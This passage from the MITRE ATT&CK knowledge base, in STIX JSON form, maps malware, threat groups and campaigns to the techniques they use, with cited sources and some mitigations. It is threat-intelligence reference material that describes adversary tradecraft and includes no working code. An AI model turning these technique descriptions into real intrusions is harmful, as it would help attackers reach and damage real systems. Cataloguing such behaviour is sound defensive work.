October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:21.968Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) can download additional modules and payloads.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2284f0a-630a-45a3-b823-919b3485fda3","created":"2024-05-25T16:30:38.634Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:30:38.634Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has leveraged the Discord content delivery network to host malicious content for retrieval during initial access operations.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a22e57a2-1d94-45eb-bc79-ec7106ae81c6","type":"relationship","created":"2020-06-09T15:36:04.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-09T15:36:04.088Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2378103-ad88-4cd2-a135-a0f5c02210da","type":"relationship","created":"2020-11-08T23:28:59.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:28:59.666Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can send data to C2 with HTTP POST requests.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a23d8e4f-6e3c-4b07-a63a-216764d61ec0","type":"relationship","created":"2022-02-07T18:32:59.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-07T18:32:59.241Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can collect email accounts from Microsoft Outlook and Mozilla Thunderbird.(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a23f92a2-b88c-4cb0-b028-1883a5a38377","created":"2021-01-07T20:47:08.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.583Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has used web services including Paste.ee to host payloads.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2423ac3-94b4-4936-962b-06562115cb70","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.866Z","description":"Lateral movement can be done with [Net](https://attack.mitre.org/software/S0039) through net use commands to connect to the on remote systems.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a24299ed-9735-453c-bd13-66269b2d5d16","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:37:57.148Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used automated collection.(Citation: Unit42 OilRig Playbook 2023)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a24399b5-218e-41b5-8904-9e8e0599ae25","type":"relationship","created":"2019-06-25T15:34:24.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104","description":"Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.","source_name":"Anomali Template Injection MAR 2018"}],"modified":"2022-01-12T18:16:56.797Z","description":"Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.(Citation: Anomali Template Injection MAR 2018)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2440552-4190-4f72-9cf5-a63eecdff2fb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"},{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-20T01:52:50.410Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) leverages cmd.exe to perform discovery techniques.(Citation: Talos NavRAT May 2018) [NavRAT](https://attack.mitre.org/software/S0247) loads malicious shellcode and executes it in memory.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a246ff9a-6414-461f-b392-ac37bc3716c0","created":"2023-03-26T20:51:46.149Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:51:46.149Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) gained access through compromised accounts at cloud solution partners, and used compromised certificates issued by Mimecast to authenticate to Mimecast customer systems.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a247d3fe-a150-4096-a6e1-1d150e3e407d","created":"2024-01-22T21:38:17.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:48:38.725Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used .bat scripts and `cmd` for execution on compromised hosts.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a24aad94-40e4-43a4-b2a4-ed8bfd412dcb","created":"2024-03-25T21:30:35.991Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:30:35.991Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has used [ngrok](https://attack.mitre.org/software/S0508) to create secure tunnels to remote web servers.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a24d8806-1c55-4ca7-bb83-1915655d914f","created":"2022-09-29T17:43:46.450Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T17:43:46.450Z","description":"(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a24d8975-fa51-4ac1-b928-9af5b5660109","type":"relationship","created":"2019-01-30T16:39:54.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.491Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) injects into a newly spawned process created from a native Windows executable.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a25300cb-c2b7-4968-b1d7-cc4d5fe5bb4b","created":"2020-11-10T16:49:13.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T17:21:15.126Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used [ipconfig](https://attack.mitre.org/software/S0100) to identify the network configuration of a victim machine. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used the PowerShell cmdlet `Get-ADComputer` to collect IP address data from Active Directory.(Citation: Sophos New Ryuk Attack October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a26397b4-7959-40d7-953c-c2afec8a1f80","created":"2022-05-27T13:35:12.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-12T21:08:08.734Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has created local accounts named `help` and `DefaultAccount` on compromised machines.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2648a96-b282-4624-a91c-f97688c2f3b1","created":"2023-03-24T21:41:05.744Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:41:05.744Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors stroed payloads in Windows CLFS (Common Log File System) transactional logs.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a266294c-18a7-4a6e-8291-a901748c929c","type":"relationship","created":"2019-06-14T17:21:38.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","source_name":"Microsoft Securing Privileged Access"}],"modified":"2021-07-20T23:03:00.616Z","description":"Windows:\nDo not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.(Citation: Microsoft Securing Privileged Access)\n\nLinux:\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a273ce5e-9ca8-4093-a815-3a3a60a16a97","type":"relationship","created":"2020-09-23T17:54:32.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.692Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) has has used HTTP GET requests in C2 communications.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a275b407-099a-4f2c-954c-528cf61349f8","type":"relationship","created":"2019-09-24T13:29:29.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.844Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) is injected into a shared SVCHOST process.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a276f020-9642-4608-8520-fca70866c0d9","type":"relationship","created":"2020-02-20T15:27:18.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T15:27:18.841Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2788f0f-70d5-4872-97f8-ce72d5a172b9","type":"relationship","created":"2020-01-28T13:50:22.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-28T13:50:22.647Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a27943d2-6839-4be3-81ea-19ea6704d218","type":"relationship","created":"2020-12-29T15:34:45.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T15:34:45.969Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has named the task for a reverse proxy lpupdate to appear legitimate.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a2798404-09a6-4882-8226-257fe55f788c","created":"2022-06-10T17:24:04.236Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has removed a targeted organization's global admin accounts to lock the organization out of all access.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T17:24:04.236Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a27be16a-0132-4895-8f62-2bcc31cf15d7","created":"2024-10-08T14:46:01.543Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T14:46:01.543Z","description":"Regularly update web browsers, password managers, and all related software to the latest versions. Keeping software up-to-date reduces the risk of vulnerabilities being exploited by attackers to extract stored credentials or session cookies.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a28b6a04-5562-4550-91bd-6397c0c9fe3f","created":"2023-08-07T16:11:56.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.661Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has leveraged ProtonMail email addresses in ransom notes when delivering [Ryuk](https://attack.mitre.org/software/S0446) ransomware.(Citation: Mandiant FIN12 Oct 